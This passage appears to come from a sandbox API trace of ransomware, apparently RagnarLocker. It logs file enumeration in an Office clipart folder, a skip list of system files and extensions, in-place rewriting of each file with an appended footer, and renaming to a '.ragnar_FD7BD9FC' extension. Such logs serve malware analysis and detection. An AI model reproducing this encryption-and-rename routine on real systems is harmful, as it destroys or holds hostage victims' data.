ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0089.164] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.165] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02405_.WMF" | out: lpString1="NA02405_.WMF") returned="NA02405_.WMF" [0089.165] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF") returned=".WMF" [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="autorun.inf") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="boot.ini") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="bootfont.bin") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="bootsect.bak") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="bootmgr") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="bootmgr.efi") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="desktop.ini") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="iconcache.db") returned 1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="ntldr") returned -1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="ntuser.dat") returned -1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="ntuser.ini") returned -1 [0089.165] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="thumbs.db") returned -1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.165] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf")) returned 0x20 [0089.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20608) returned 1 [0089.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5077, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.166] GetProcessHeap () returned 0x580000 [0089.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.166] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.169] VirtualAlloc (lpAddress=0x0, dwSize=0x5080, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.169] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5080, lpOverlapped=0x0) returned 1 [0089.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.171] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5080, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.171] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5080, lpOverlapped=0x0) returned 1 [0089.171] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5080, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.171] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5080, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.171] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.171] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.172] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.172] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.172] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.172] GetProcessHeap () returned 0x580000 [0089.172] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.172] CloseHandle (hObject=0xf4) returned 1 [0089.172] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" [0089.172] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ragnar_FD7BD9FC" [0089.172] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.173] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0089.173] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.173] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02407_.WMF" | out: lpString1="NA02407_.WMF") returned="NA02407_.WMF" [0089.173] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF") returned=".WMF" [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="autorun.inf") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="boot.ini") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="bootfont.bin") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="bootsect.bak") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="bootmgr") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="bootmgr.efi") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="desktop.ini") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="iconcache.db") returned 1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="ntldr") returned -1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="ntuser.dat") returned -1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="ntuser.ini") returned -1 [0089.173] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="thumbs.db") returned -1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.173] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf")) returned 0x20 [0089.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.174] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8136) returned 1 [0089.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.174] GetProcessHeap () returned 0x580000 [0089.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.174] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.176] VirtualAlloc (lpAddress=0x0, dwSize=0x1fc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.176] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fc8, lpOverlapped=0x0) returned 1 [0089.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.177] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fc8, lpOverlapped=0x0) returned 1 [0089.178] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.178] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.178] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.178] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.178] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.178] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.178] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.178] GetProcessHeap () returned 0x580000 [0089.178] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.178] CloseHandle (hObject=0xf4) returned 1 [0089.179] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" [0089.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ragnar_FD7BD9FC" [0089.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.179] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0089.180] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.180] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02413_.WMF" | out: lpString1="NA02413_.WMF") returned="NA02413_.WMF" [0089.180] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF") returned=".WMF" [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="autorun.inf") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="boot.ini") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="bootfont.bin") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="bootsect.bak") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="bootmgr") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="bootmgr.efi") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="desktop.ini") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="iconcache.db") returned 1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="ntldr") returned -1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="ntuser.dat") returned -1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="ntuser.ini") returned -1 [0089.180] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="thumbs.db") returned -1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.180] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf")) returned 0x20 [0089.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.181] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10476) returned 1 [0089.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.181] GetProcessHeap () returned 0x580000 [0089.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.182] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.183] VirtualAlloc (lpAddress=0x0, dwSize=0x28ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.183] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x28ec, lpOverlapped=0x0) returned 1 [0089.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.184] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.184] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x28ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x28ec, lpOverlapped=0x0) returned 1 [0089.185] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.185] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.185] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.185] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.185] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.185] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.185] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.185] GetProcessHeap () returned 0x580000 [0089.185] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.185] CloseHandle (hObject=0xf4) returned 1 [0089.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" [0089.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ragnar_FD7BD9FC" [0089.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0089.186] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.186] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02417_.WMF" | out: lpString1="NA02417_.WMF") returned="NA02417_.WMF" [0089.186] PathFindExtensionW (pszPath="\\\\?\\C:\\Program 